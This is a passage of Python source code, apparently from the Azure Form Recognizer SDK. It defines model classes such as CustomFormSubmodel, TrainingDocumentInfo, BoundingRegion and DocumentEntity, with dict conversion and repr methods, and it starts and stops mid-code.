\"model_id\": self.model_id,\n \"status\": self.status,\n \"training_started_on\": self.training_started_on,\n \"training_completed_on\": self.training_completed_on,\n \"submodels\": [submodel.to_dict() for submodel in self.submodels]\n if self.submodels\n else [],\n \"errors\": [err.to_dict() for err in self.errors] if self.errors else [],\n \"training_documents\": [doc.to_dict() for doc in self.training_documents]\n if self.training_documents\n else [],\n \"model_name\": self.model_name,\n \"properties\": self.properties.to_dict() if self.properties else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormModel\n \"\"\"Converts a dict in the shape of a CustomFormModel to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormModel.\n :return: CustomFormModel\n :rtype: CustomFormModel\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n status=data.get(\"status\", None),\n training_started_on=data.get(\"training_started_on\", None),\n training_completed_on=data.get(\"training_completed_on\", None),\n submodels=[CustomFormSubmodel.from_dict(v) for v in data.get(\"submodels\")] # type: ignore\n if len(data.get(\"submodels\", [])) > 0\n else [],\n errors=[FormRecognizerError.from_dict(v) for v in data.get(\"errors\")] # type: ignore\n if len(data.get(\"errors\", [])) > 0\n else [],\n training_documents=[\n TrainingDocumentInfo.from_dict(v) for v in data.get(\"training_documents\") # type: ignore\n ]\n if len(data.get(\"training_documents\", [])) > 0\n else [],\n model_name=data.get(\"model_name\", None),\n properties=CustomFormModelProperties.from_dict(data.get(\"properties\")) # type: ignore\n if data.get(\"properties\")\n else None,\n )\n\n\nclass CustomFormSubmodel(object):\n \"\"\"Represents a submodel that extracts fields from a specific type of form.\n\n :ivar str model_id: Model identifier of the submodel.\n :ivar float accuracy: The mean of the model's field accuracies.\n :ivar fields: A dictionary of the fields that this submodel will recognize\n from the input document. The fields dictionary keys are the `name` of\n the field. For models trained with labels, this is the training-time\n label of the field. For models trained without labels, a unique name\n is generated for each field.\n :vartype fields: dict[str, ~azure.ai.formrecognizer.CustomFormModelField]\n :ivar str form_type: Type of form this submodel recognizes.\n\n .. versionadded:: v2.1\n The *model_id* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.model_id = kwargs.get(\"model_id\", None)\n self.accuracy = kwargs.get(\"accuracy\", None)\n self.fields = kwargs.get(\"fields\", None)\n self.form_type = kwargs.get(\"form_type\", None)\n\n @classmethod\n def _from_generated_unlabeled(cls, model):\n return [\n cls(\n model_id=model.model_info.model_id,\n accuracy=None,\n fields=CustomFormModelField._from_generated_unlabeled(fields),\n form_type=\"form-\" + cluster_id,\n )\n for cluster_id, fields in model.keys.clusters.items()\n ]\n\n @classmethod\n def _from_generated_labeled(cls, model, api_version, model_name):\n if api_version == \"2.0\":\n form_type = \"form-\" + model.model_info.model_id\n elif model_name:\n form_type = \"custom:\" + model_name\n else:\n form_type = \"custom:\" + model.model_info.model_id\n\n return (\n [\n cls(\n model_id=model.model_info.model_id,\n accuracy=model.train_result.average_model_accuracy,\n fields={\n field.field_name: CustomFormModelField._from_generated_labeled(\n field\n )\n for field in model.train_result.fields\n }\n if model.train_result.fields\n else None,\n form_type=form_type,\n )\n ]\n if model.train_result\n else None\n )\n\n @classmethod\n def _from_generated_composed(cls, model):\n return [\n cls(\n accuracy=train_result.average_model_accuracy,\n fields={\n field.field_name: CustomFormModelField._from_generated_labeled(\n field\n )\n for field in train_result.fields\n }\n if train_result.fields\n else None,\n form_type=\"custom:\" + train_result.model_id,\n model_id=train_result.model_id,\n )\n for train_result in model.composed_train_results\n ]\n\n def __repr__(self):\n return \"CustomFormSubmodel(accuracy={}, model_id={}, fields={}, form_type={})\".format(\n self.accuracy,\n self.model_id,\n repr(self.fields),\n self.form_type,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormSubmodel.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"accuracy\": self.accuracy,\n \"fields\": {k: v.to_dict() for k, v in self.fields.items()}\n if self.fields\n else {},\n \"form_type\": self.form_type,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormSubmodel\n \"\"\"Converts a dict in the shape of a CustomFormSubmodel to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormSubmodel.\n :return: CustomFormSubmodel\n :rtype: CustomFormSubmodel\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n accuracy=data.get(\"accuracy\", None),\n fields={k: CustomFormModelField.from_dict(v) for k, v in data.get(\"fields\").items()} # type: ignore\n if data.get(\"fields\")\n else {},\n form_type=data.get(\"form_type\", None),\n )\n\n\nclass CustomFormModelField(object):\n \"\"\"A field that the model will extract from forms it analyzes.\n\n :ivar str label: The form fields label on the form.\n :ivar str name: Canonical name; uniquely identifies a field within the form.\n :ivar float accuracy: The estimated recognition accuracy for this field.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.label = kwargs.get(\"label\", None)\n self.name = kwargs.get(\"name\", None)\n self.accuracy = kwargs.get(\"accuracy\", None)\n\n @classmethod\n def _from_generated_labeled(cls, field):\n return cls(name=field.field_name, accuracy=field.accuracy)\n\n @classmethod\n def _from_generated_unlabeled(cls, fields):\n return {\n \"field-{}\".format(idx): cls(\n name=\"field-{}\".format(idx),\n label=field_name,\n )\n for idx, field_name in enumerate(fields)\n }\n\n def __repr__(self):\n return \"CustomFormModelField(label={}, name={}, accuracy={})\".format(\n self.label, self.name, self.accuracy\n )[:1024]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormModelField.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\"label\": self.label, \"accuracy\": self.accuracy, \"name\": self.name}\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormModelField\n \"\"\"Converts a dict in the shape of a CustomFormModelField to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormModelField.\n :return: CustomFormModelField\n :rtype: CustomFormModelField\n \"\"\"\n return cls(\n label=data.get(\"label\", None),\n accuracy=data.get(\"accuracy\", None),\n name=data.get(\"name\", None),\n )\n\n\nclass TrainingDocumentInfo(object):\n \"\"\"Report for an individual document used for training\n a custom model.\n\n :ivar str name:\n The name of the document.\n :ivar str status:\n The :class:`~azure.ai.formrecognizer.TrainingStatus`\n of the training operation. Possible values include:\n 'succeeded', 'partiallySucceeded', 'failed'.\n :ivar int page_count:\n Total number of pages trained.\n :ivar list[~azure.ai.formrecognizer.FormRecognizerError] errors:\n List of any errors for document.\n :ivar str model_id:\n The model ID that used the document to train.\n\n .. versionadded:: v2.1\n The *model_id* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.name = kwargs.get(\"name\", None)\n self.status = kwargs.get(\"status\", None)\n self.page_count = kwargs.get(\"page_count\", None)\n self.errors = kwargs.get(\"errors\", None)\n self.model_id = kwargs.get(\"model_id\", None)\n\n @classmethod\n def _from_generated(cls, train_result):\n return (\n [\n cls(\n name=doc.document_name,\n status=doc.status,\n page_count=doc.pages,\n errors=FormRecognizerError._from_generated(doc.errors),\n model_id=train_result.model_id\n if hasattr(train_result, \"model_id\")\n else None,\n )\n for doc in train_result.training_documents\n ]\n if train_result.training_documents\n else None\n )\n\n @classmethod\n def _from_generated_composed(cls, model):\n training_document_info = []\n for train_result in model.composed_train_results:\n for doc in train_result.training_documents:\n training_document_info.append(\n cls(\n name=doc.document_name,\n status=doc.status,\n page_count=doc.pages,\n errors=FormRecognizerError._from_generated(doc.errors),\n model_id=train_result.model_id,\n )\n )\n return training_document_info\n\n def __repr__(self):\n return \"TrainingDocumentInfo(name={}, status={}, page_count={}, errors={}, model_id={})\".format(\n self.name, self.status, self.page_count, repr(self.errors), self.model_id\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of TrainingDocumentInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"name\": self.name,\n \"status\": self.status,\n \"page_count\": self.page_count,\n \"errors\": [err.to_dict() for err in self.errors] if self.errors else [],\n \"model_id\": self.model_id,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> TrainingDocumentInfo\n \"\"\"Converts a dict in the shape of a TrainingDocumentInfo to the model itself.\n\n :param dict data: A dictionary in the shape of TrainingDocumentInfo.\n :return: TrainingDocumentInfo\n :rtype: TrainingDocumentInfo\n \"\"\"\n return cls(\n name=data.get(\"name\", None),\n status=data.get(\"status\", None),\n page_count=data.get(\"page_count\", None),\n errors=[\n FormRecognizerError.from_dict(v) for v in data.get(\"errors\") # type: ignore\n ],\n model_id=data.get(\"model_id\", None),\n )\n\n\nclass FormRecognizerError(object):\n \"\"\"Represents an error that occurred while training.\n\n :ivar str code: Error code.\n :ivar str message: Error message.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.code = kwargs.get(\"code\", None)\n self.message = kwargs.get(\"message\", None)\n\n @classmethod\n def _from_generated(cls, err):\n return (\n [cls(code=error.code, message=error.message) for error in err]\n if err\n else []\n )\n\n def __repr__(self):\n return \"FormRecognizerError(code={}, message={})\".format(\n self.code, self.message\n )[:1024]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormRecognizerError.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\"code\": self.code, \"message\": self.message}\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormRecognizerError\n \"\"\"Converts a dict in the shape of a FormRecognizerError to the model itself.\n\n :param dict data: A dictionary in the shape of FormRecognizerError.\n :return: FormRecognizerError\n :rtype: FormRecognizerError\n \"\"\"\n return cls(\n code=data.get(\"code\", None),\n message=data.get(\"message\", None),\n )\n\n\nclass CustomFormModelInfo(object):\n \"\"\"Custom model information.\n\n :ivar str model_id: The unique identifier of the model.\n :ivar str status:\n The status of the model, :class:`~azure.ai.formrecognizer.CustomFormModelStatus`.\n Possible values include: 'creating', 'ready', 'invalid'.\n :ivar ~datetime.datetime training_started_on:\n Date and time (UTC) when model training was started.\n :ivar ~datetime.datetime training_completed_on:\n Date and time (UTC) when model training completed.\n :ivar model_name: Optional user defined model name.\n :vartype model_name: str\n :ivar properties: Optional model properties.\n :vartype properties: ~azure.ai.formrecognizer.CustomFormModelProperties\n\n .. versionadded:: v2.1\n The *model_name* and *properties* properties, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.model_id = kwargs.get(\"model_id\", None)\n self.status = kwargs.get(\"status\", None)\n self.training_started_on = kwargs.get(\"training_started_on\", None)\n self.training_completed_on = kwargs.get(\"training_completed_on\", None)\n self.model_name = kwargs.get(\"model_name\", None)\n self.properties = kwargs.get(\"properties\", None)\n\n @classmethod\n def _from_generated(cls, model, model_id=None, **kwargs):\n if model.status == \"succeeded\": # map copy status to model status\n model.status = \"ready\"\n\n model_name = None\n if hasattr(model, \"attributes\"):\n properties = CustomFormModelProperties._from_generated(model)\n elif kwargs.pop(\"api_version\", None) == \"2.0\":\n properties = None\n else:\n properties = CustomFormModelProperties(is_composed_model=False)\n if hasattr(model, \"model_name\"):\n model_name = model.model_name\n return cls(\n model_id=model_id if model_id else model.model_id,\n status=model.status,\n training_started_on=model.created_date_time,\n training_completed_on=model.last_updated_date_time,\n properties=properties,\n model_name=model_name,\n )\n\n def __repr__(self):\n return (\n \"CustomFormModelInfo(model_id={}, status={}, training_started_on={}, training_completed_on={}, \"\n \"properties={}, model_name={})\".format(\n self.model_id,\n self.status,\n self.training_started_on,\n self.training_completed_on,\n repr(self.properties),\n self.model_name,\n )[:1024]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormModelInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"status\": self.status,\n \"training_started_on\": self.training_started_on,\n \"training_completed_on\": self.training_completed_on,\n \"model_name\": self.model_name,\n \"properties\": self.properties.to_dict() if self.properties else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormModelInfo\n \"\"\"Converts a dict in the shape of a CustomFormModelInfo to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormModelInfo.\n :return: CustomFormModelInfo\n :rtype: CustomFormModelInfo\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n status=data.get(\"status\", None),\n training_started_on=data.get(\"training_started_on\", None),\n training_completed_on=data.get(\"training_completed_on\", None),\n model_name=data.get(\"model_name\", None),\n properties=CustomFormModelProperties.from_dict(data.get(\"properties\")) # type: ignore\n if data.get(\"properties\")\n else None,\n )\n\n\nclass AccountProperties(object):\n \"\"\"Summary of all the custom models on the account.\n\n :ivar int custom_model_count: Current count of trained custom models.\n :ivar int custom_model_limit: Max number of models that can be trained for this account.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.custom_model_count = kwargs.get(\"custom_model_count\", None)\n self.custom_model_limit = kwargs.get(\"custom_model_limit\", None)\n\n @classmethod\n def _from_generated(cls, model):\n return cls(\n custom_model_count=model.count,\n custom_model_limit=model.limit,\n )\n\n def __repr__(self):\n return \"AccountProperties(custom_model_count={}, custom_model_limit={})\".format(\n self.custom_model_count, self.custom_model_limit\n )[:1024]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of AccountProperties.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"custom_model_count\": self.custom_model_count,\n \"custom_model_limit\": self.custom_model_limit,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> AccountProperties\n \"\"\"Converts a dict in the shape of a AccountProperties to the model itself.\n\n :param dict data: A dictionary in the shape of AccountProperties.\n :return: AccountProperties\n :rtype: AccountProperties\n \"\"\"\n return cls(\n custom_model_count=data.get(\"custom_model_count\", None),\n custom_model_limit=data.get(\"custom_model_limit\", None),\n )\n\n\nclass CustomFormModelProperties(object):\n \"\"\"Optional model properties.\n\n :ivar bool is_composed_model: Is this model composed? (default: false).\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.is_composed_model = kwargs.get(\"is_composed_model\", False)\n\n @classmethod\n def _from_generated(cls, model_info):\n if model_info.attributes:\n return cls(is_composed_model=model_info.attributes.is_composed)\n return cls(is_composed_model=False)\n\n def __repr__(self):\n return \"CustomFormModelProperties(is_composed_model={})\".format(\n self.is_composed_model\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormModelProperties.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\"is_composed_model\": self.is_composed_model}\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormModelProperties\n \"\"\"Converts a dict in the shape of a CustomFormModelProperties to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormModelProperties.\n :return: CustomFormModelProperties\n :rtype: CustomFormModelProperties\n \"\"\"\n return cls(\n is_composed_model=data.get(\"is_composed_model\", None),\n )\n\n\nclass DocumentSpan(object):\n \"\"\"Contiguous region of the content of the property, specified as an offset and length.\n\n :ivar int offset: Zero-based index of the content represented by the span.\n :ivar int length: Number of characters in the content represented by the span.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.offset = kwargs.get(\"offset\", None)\n self.length = kwargs.get(\"length\", None)\n\n @classmethod\n def _from_generated(cls, span):\n if span is None:\n return span\n return cls(\n offset=span.offset,\n length=span.length,\n )\n\n def __repr__(self):\n return \"DocumentSpan(offset={}, length={})\".format(self.offset, self.length)\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentSpan.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"offset\": self.offset,\n \"length\": self.length,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentSpan\n \"\"\"Converts a dict in the shape of a DocumentSpan to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentSpan.\n :return: DocumentSpan\n :rtype: DocumentSpan\n \"\"\"\n return cls(\n offset=data.get(\"offset\", None),\n length=data.get(\"length\", None),\n )\n\n\nclass TextAppearance(object):\n \"\"\"An object representing the appearance of the text line.\n\n :ivar str style_name: The text line style name.\n Possible values include: \"other\", \"handwriting\".\n :ivar float style_confidence: The confidence of text line style.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.style_name = kwargs.get(\"style_name\", None)\n self.style_confidence = kwargs.get(\"style_confidence\", None)\n\n @classmethod\n def _from_generated(cls, appearance):\n if appearance is None:\n return appearance\n return cls(\n style_name=appearance.style.name,\n style_confidence=appearance.style.confidence,\n )\n\n def __repr__(self):\n return \"TextAppearance(style_name={}, style_confidence={})\".format(\n self.style_name, self.style_confidence\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of TextAppearance.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"style_name\": self.style_name,\n \"style_confidence\": self.style_confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> TextAppearance\n \"\"\"Converts a dict in the shape of a TextAppearance to the model itself.\n\n :param dict data: A dictionary in the shape of TextAppearance.\n :return: TextAppearance\n :rtype: TextAppearance\n \"\"\"\n return cls(\n style_name=data.get(\"style_name\", None),\n style_confidence=data.get(\"style_confidence\", None),\n )\n\n\nclass BoundingRegion(object):\n \"\"\"The bounding region corresponding to a page.\n\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order relative to the text orientation: top-left, top-right,\n bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n\n def __repr__(self):\n return \"BoundingRegion(page_number={}, bounding_box={})\".format(\n self.page_number, self.bounding_box\n )\n\n @classmethod\n def _from_generated(cls, region):\n return cls(\n page_number=region.page_number,\n bounding_box=get_bounding_box(region),\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of BoundingRegion.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"page_number\": self.page_number,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> BoundingRegion\n \"\"\"Converts a dict in the shape of a BoundingRegion to the model itself.\n\n :param dict data: A dictionary in the shape of BoundingRegion.\n :return: BoundingRegion\n :rtype: BoundingRegion\n \"\"\"\n return cls(\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n )\n\n\nclass CurrencyValue(object):\n \"\"\"A currency value element.\n\n :ivar amount: The currency amount.\n :vartype: float\n :ivar symbol: The currency symbol, if found.\n :vartype: str\n \"\"\"\n\n def __init__(self, **kwargs):\n self.amount = kwargs.get(\"amount\", None)\n self.symbol = kwargs.get(\"symbol\", None)\n\n @classmethod\n def _from_generated(cls, data):\n return cls(\n amount=data.amount,\n symbol=data.currency_symbol,\n )\n\n def __repr__(self):\n return \"CurrencyValue(amount={}, symbol={})\".format(self.amount, self.symbol)\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CurrencyValue.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"amount\": self.amount,\n \"symbol\": self.symbol,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CurrencyValue\n \"\"\"Converts a dict in the shape of a CurrencyValue to the model itself.\n\n :param dict data: A dictionary in the shape of CurrencyValue.\n :return: CurrencyValue\n :rtype: CurrencyValue\n \"\"\"\n return cls(\n amount=data.get(\"amount\", None),\n symbol=data.get(\"symbol\", None),\n )\n\n\nclass DocumentContentElement(object):\n \"\"\"A DocumentContentElement.\n\n :ivar content: Text content of the document content element.\n :vartype content: str\n :ivar bounding_box: Bounding box of the document content element.\n :vartype bounding_box: list[Point]\n :ivar span: Location of the element in the full document content.\n :vartype span: ~azure.ai.formrecognizer.DocumentSpan\n :ivar confidence: Confidence of accurately extracting the document content element.\n :vartype confidence: float\n :ivar str kind: The kind of document element. Possible kinds are \"word\" or \"selectionMark\" which\n correspond to a :class:`~azure.ai.formrecognizer.DocumentWord` or\n :class:`~azure.ai.formrecognizer.DocumentSelectionMark`, respectively.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.content = kwargs.get(\"content\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.span = kwargs.get(\"span\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n self.kind = kwargs.get(\"kind\", None)\n\n def __repr__(self):\n return \"DocumentContentElement(content={}, bounding_box={}, span={}, confidence={}, kind={})\".format(\n self.content, self.bounding_box, self.span, self.confidence, self.kind\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentContentElement.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"content\": self.content,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"span\": self.span.to_dict() if self.span else None,\n \"confidence\": self.confidence,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentContentElement\n \"\"\"Converts a dict in the shape of a DocumentContentElement to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentContentElement.\n :return: DocumentContentElement\n :rtype: DocumentContentElement\n \"\"\"\n return cls(\n content=data.get(\"content\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n span=DocumentSpan.from_dict(data.get(\"span\")) if data.get(\"span\") else None, # type: ignore\n confidence=data.get(\"confidence\", None),\n kind=data.get(\"kind\", None),\n )\n\n\nclass DocumentLanguage(object):\n \"\"\"An object representing the detected language for a given text span.\n\n :ivar language_code: Detected language code. Value may be an ISO 639-1 language code (ex.\n \"en\", \"fr\") or a BCP 47 language tag (ex. \"zh-Hans\").\n :vartype language_code: str\n :ivar spans: Location of the text elements in the concatenated content that the language\n applies to.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar confidence: Confidence of correctly identifying the language.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.language_code = kwargs.get(\"language_code\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, language):\n return cls(\n language_code=language.language_code,\n spans=prepare_document_spans(language.spans),\n confidence=language.confidence,\n )\n\n def __repr__(self):\n return \"DocumentLanguage(language_code={}, spans={}, confidence={})\".format(\n self.language_code,\n repr(self.spans),\n self.confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentLanguage.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"language_code\": self.language_code,\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentLanguage\n \"\"\"Converts a dict in the shape of a DocumentLanguage to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentLanguage.\n :return: DocumentLanguage\n :rtype: DocumentLanguage\n \"\"\"\n return cls(\n language_code=data.get(\"language_code\", None),\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass AnalyzedDocument(object):\n \"\"\"An object describing the location and semantic content of a document.\n\n :ivar doc_type: The type of document that was analyzed.\n :vartype doc_type: str\n :ivar bounding_regions: Bounding regions covering the document.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: The location of the document in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar fields: A dictionary of named field values.\n :vartype fields: dict[str, ~azure.ai.formrecognizer.DocumentField]\n :ivar confidence: Confidence of correctly extracting the document.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.doc_type = kwargs.get(\"doc_type\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.fields = kwargs.get(\"fields\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, document):\n return cls(\n doc_type=document.doc_type,\n bounding_regions=prepare_bounding_regions(document.bounding_regions),\n spans=prepare_document_spans(document.spans),\n fields={\n key: DocumentField._from_generated(field)\n for key, field in document.fields.items()\n }\n if document.fields\n else {},\n confidence=document.confidence,\n )\n\n def __repr__(self):\n return \"AnalyzedDocument(doc_type={}, bounding_regions={}, spans={}, fields={}, confidence={})\".format(\n self.doc_type,\n repr(self.bounding_regions),\n repr(self.spans),\n repr(self.fields),\n self.confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of AnalyzedDocument.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"doc_type\": self.doc_type,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"fields\": {k: v.to_dict() for k, v in self.fields.items()}\n if self.fields\n else {},\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> AnalyzedDocument\n \"\"\"Converts a dict in the shape of a AnalyzedDocument to the model itself.\n\n :param dict data: A dictionary in the shape of AnalyzedDocument.\n :return: AnalyzedDocument\n :rtype: AnalyzedDocument\n \"\"\"\n return cls(\n doc_type=data.get(\"doc_type\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n fields={k: DocumentField.from_dict(v) for k, v in data.get(\"fields\").items()} # type: ignore\n if data.get(\"fields\")\n else {},\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentEntity(object):\n \"\"\"An object representing various categories of entities.\n\n :ivar category: Entity type.\n :vartype category: str\n :ivar sub_category: Entity sub type.\n :vartype sub_category: str\n :ivar content: Entity content.\n :vartype content: str\n :ivar bounding_regions: Bounding regions covering the entity.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the entity in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar confidence: Confidence of correctly extracting the entity.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.category = kwargs.get(\"category\", None)\n self.sub_category = kwargs.get(\"sub_category\", None)\n self.content = kwargs.get(\"content\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, entity):\n return cls(\n category=entity.category,\n sub_category=entity.sub_category,\n content=entity.content,\n bounding_regions=[\n BoundingRegion(\n page_number=region.page_number,\n bounding_box=get_bounding_box(region),\n )\n for region in entity.bounding_regions\n ]\n if entity.bounding_regions\n else [],\n spans=[\n DocumentSpan(\n offset=span.offset,\n length=span.length,\n )\n for span in entity.spans\n ]\n if entity.spans\n else [],\n confidence=entity.confidence,\n )\n\n def __repr__(self):\n return (\n \"DocumentEntity(category={}, sub_category={}, content={}, bounding_regions={}, spans={}, \"\n \"confidence={})\".format(\n self.category,\n self.sub_category,\n self.content,\n repr(self.bounding_regions),\n repr(self.spans),\n self.confidence,\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentEntity.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"category\": self.category,\n \"sub_category\": self.sub_category,\n \"content\": self.content,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentEntity\n \"\"\"Converts a dict in the shape of a DocumentEntity to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentEntity.\n :return: DocumentEntity\n :rtype: DocumentEntity\n \"\"\"\n return cls(\n category=data.get(\"category\", None),\n sub_category=data.get(\"sub_category\", None),\n content=data.get(\"content\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentField(object):\n \"\"\"An object representing the content and location of a document field value.\n\n :ivar str value_type: The type of `value` found on DocumentField. Possible types include:\n \"string\", \"date\", \"time\", \"phoneNumber\", \"float\", \"integer\", \"selectionMark\", \"countryRegion\",\n \"signature\", \"currency\", \"list\", \"dictionary\".\n :ivar value:\n The value for the recognized field. Its semantic data type is described by `value_type`.\n If the value is extracted 